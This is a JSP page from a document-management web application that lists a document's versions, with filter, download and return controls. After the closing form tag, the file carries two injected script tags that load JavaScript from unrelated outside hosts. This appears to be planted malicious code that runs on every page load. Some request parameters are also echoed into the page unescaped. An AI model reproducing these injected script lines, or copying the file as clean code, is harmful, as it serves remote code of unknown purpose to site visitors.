<%
/*
 * @(#)ListDmsVersion.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsVersion.jsp

  This is a ListDmsVersion page.

    @author             Rollo Chan
    @company            DCIVision Ltd
    @creation date      13/08/2003
    @version            $Revision: 1.49.2.16 $
*/
 /* ********************************Modify History***********************************************
 * Modify by  : joan.xiong
 * Modify date: 2006/09/06
 * BugID      : EIP-157
 * Description: When clicked the return button cause the 404 error
 * *********************************************************************************************
 */

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsVersionForm" scope="request" class="com.dcivision.dms.web.ListDmsVersionForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsVersionList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.ver_number", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.ver_label", "VERSION_LABEL"},
                            {"dms.columnheader.item_size", "ITEM_SIZE"},
                            {"dms.label.reference_no", "REFERENCE_NO"},
                            {"dms.label.description", "DESCRIPTION"},
                            {"common.label.creator", GlobalConstant.NOT_AVAILABLE},
                            {"common.label.create_date", "CREATE_DATE"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.ver_label", "VERSION_LABEL"},
                            {"dms.label.reference_no", "REFERENCE_NO"},
                            {"dms.label.description", "DESCRIPTION"},
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

  String sCurFunctionCode = listDmsVersionForm.getCurFunctionCode();
  String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : listDmsVersionForm.getDirectURL();

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DmsDocument currentDocument = (DmsDocument) docRetrievalManager.getDocument(TextUtility.parseIntegerObj(listDmsVersionForm.getDocumentID()));
  String sExtension = TextUtility.getExtension(currentDocument.getDocumentName());
  String permission = request.getParameter("permission");
  DmsDocument documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(currentDocument.getRootID());
//Parameters used for DMS
  String rootID  = listDmsVersionForm.getRootID()==null? request.getParameter("rootID")==null? "" : (String) request.getParameter("rootID"):(String)listDmsVersionForm.getRootID();
  String parentID = listDmsVersionForm.getDocparent();
  String curFunctionCode = listDmsVersionForm.getCurFunctionCode()==null? request.getParameter("curFunctionCode")==null? "" : (String) request.getParameter("curFunctionCode"):(String)listDmsVersionForm.getCurFunctionCode();
  
  if (Utility.isEmpty(permission)){
    PermissionManager permissionManager = sessionContainer.getPermissionManager();
    permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, currentDocument.getID());
  }
 String homePageFunctionCode="";
 if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
    DmsDocument docRoot = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(listDmsVersionForm.getRootID()));
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(docRoot.getDocumentName())) {
      sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
  }

  String returnTop = request.getParameter("returnTop");
  String returnTo = listDmsVersionForm.getReturnTo();

   if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop)){
    returnTop = java.net.URLEncoder.encode(returnTop, "UTF-8");
        if (Utility.isEmpty(returnTo)) {
            returnTo = returnTo + "&returnTo=" + returnTop;
            listDmsVersionForm.setReturnTo(returnTo);
        }
  }
   String returnURL="";
   if(Utility.isEmpty(listDmsVersionForm.getReturnTo()) || listDmsVersionForm.getReturnTo().equals("null")){
     if(Utility.isEmpty(homePageFunctionCode)){
       if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
         returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID;
       }else {
           returnURL="ListDmsPublicDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID+"&Return=Y";
       }
     }else if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){
       returnURL=request.getContextPath()+"/Home.do";
       }
   }else{
     returnURL=listDmsVersionForm.getReturnTo();
   }
%>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsVersion" method="POST">
<html:hidden property="documentID"/>
<html:hidden property="rootID"/>
<html:hidden property="docparent"/>
<html:hidden property="curFunctionCode"/>
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<html:hidden property="returnTo"/>

<input type="hidden" name="parentID" value="<%=currentDocument.getParentID()%>"/>


<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
    <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    </div>
</div>

<!-- Basic Tab DIV -->
<div class="generalContainer">
		<div class="wrapperContainer-clearfix">
<table width="100%">
<tr>
<td width="100%">
  <table width="100%">
    <layout:sectionHeader name='dms.label.doc_info_D' mandatory="false"/>
    <tr>
      <td class="formLabelSmall" nowrap>
          <bean:message key='dms.label.document_name_full'/>:&nbsp;
      </td>
      <td class="formFieldSmall" nowrap>
          <nobr><dms:documentInfo docObject='<%=currentDocument%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>' curFunctionCode='<%=sCurFunctionCode%>'/></nobr>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmall" nowrap>
          <bean:message key='dms.label.location'/>:&nbsp;
      </td>
      <td class="formFieldSmall" nowrap>
          <%if (currentDocument.getParentID().intValue() !=0 ) { %>
          <dms:locationPath parentID="<%=currentDocument.getParentID()%>" rootID="<%=currentDocument.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag'/>
          <%}else{%>
          <bean:message key='dms.label.root'/>
          <%}%>
      </td>
    </tr>
  </table>
</td>
</tr>
<tr>
<td>
  <!-- Version List Begin -->
  <div>
    <table width="100%">
      <layout:sectionHeader name='dms.label.version_info' mandatory="false"/>
    </table>
    
    <table width="100%">
    <tr>
    <td width="10px"></td>
    <td>
    <!-- Page List Bar Begin -->
    <layout:listBar>
        <layout:filterControl/>
        </layout:listBar>
    <!-- Page List Bar End -->

    <!-- Search Panel Begin -->
    <div id="filterPanel" class="filterPanel">
        <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
        <div>
            <table>
                <tr>
                    <td class="filterPanelItem" nowrap>
                        <html:select property="basicSearchField">
                        <html:options stringArray='<%=SEARCH_MAP%>'/>
                        </html:select>
                    </td>
                    <td class="filterPanelItem" nowrap>
                        <html:select property='basicSearchType'>
                        <html:options listName='criteriaList'/>
                        </html:select>
                    </td>
                    <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
                </tr>
            </table>
        </div>
        <div class="buttonContainer">
          <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsVersionForm, '${listDmsVersionForm.sortAttribute}', '${listDmsVersionForm.sortOrder}'))"/>
          <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsVersionForm))"/>
        </div>
        <br style="clear:both" />
    </div>
    <!-- Search Panel End -->

    <!-- Table Showing Record List Begin -->
    <div id="dataGrid" class="listTable">
    <table>
      <!-- Table Column Header Begin -->
      <layout:columnHeader form="listDmsVersionForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsVersionForm.getSortAttribute()%>" sortOrder="<%=listDmsVersionForm.getSortOrder()%>" checkColumn="false" copyColumn="false" editLabel=""/>
      </tr>
      <!-- Table Column Header End -->
      <!-- Record Looping Begin -->
      <%String parentVersionID="";%>
      <logic:iterate id="dmsVersion" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">

      <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsVersion).getID()%>);">
        <td width="32">
          <nobr>
          <a onmouseover="return getPopupInfo('<bean:message key='dms.message.force_download'/>')" onmouseout="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<bean:write name='dmsVersion' property='documentID'/>&version=<bean:write name='dmsVersion' property='ID'/>&isDownload=Y&ext=.<%=sExtension%>"><html:img src='IconDMSOpDownload.gif'  align='absmiddle'/></a>
          <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
          <a onmouseover="return getPopupInfo('<bean:message key='dms.message.open_directly'/>')" onmouseout="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<bean:write name='dmsVersion' property='documentID'/>&version=<bean:write name='dmsVersion' property='ID'/>&ext=.<%=sExtension%>" target="_blank"><html:img src='IconDMSOpOpen.gif'  align='absmiddle'/></a>
          </nobr>
        </td>
        <td nowrap width="80">
          <bean:write name='dmsVersion' property='versionNumber'/>
        </td>
        <td nowrap width="50"><bean:write name='dmsVersion' property='versionLabel'/></td>
        <td align="center" width="50" nowrap><nobr>
         <% int itemSize = ((DmsVersion) dmsVersion).getItemSize().intValue();
            out.print(TextUtility.formatFileSize(itemSize));   %></nobr>
        </td>
        <td nowrap width="110">
          <bean:write name='dmsVersion' property='referenceNo'/>
        </td>
        <td nowrap width="110">
          <bean:write name='dmsVersion' property='description'/>
        </td>
        <td class="bodyVerySmall" width="100" nowrap><bean:write name='dmsVersion' property='creatorName'/></td>
        <td class="bodyVerySmall" width="90" nowrap><bean:write name='dmsVersion' property='createDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
      </tr>
      </logic:iterate>
      <!-- Record Looping End -->
    </table>
    </div>
    <!-- Table Showing Record List End -->

    <!-- Pager Information Begin -->
    <div class="listStatusBar">
      <layout:pager form="listDmsVersionForm" name='<%=LIST_NAME%>'>
      <div class="statement"><layout:pagerInfo/></div>
      <div class="sepBar"><layout:pagerIndex/></div>
      </layout:pager>
    </div>
    <!-- Pager Information End -->
    </td>
    <td width="10px"></td>
    </tr>
    </table>

  </div>
  <!-- Version List End -->

</td>
</tr>
</table>
</div>
</div>

<div class="generalBottomButtonArea">
    <div id="buttonSection">
    </div>
</div>

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>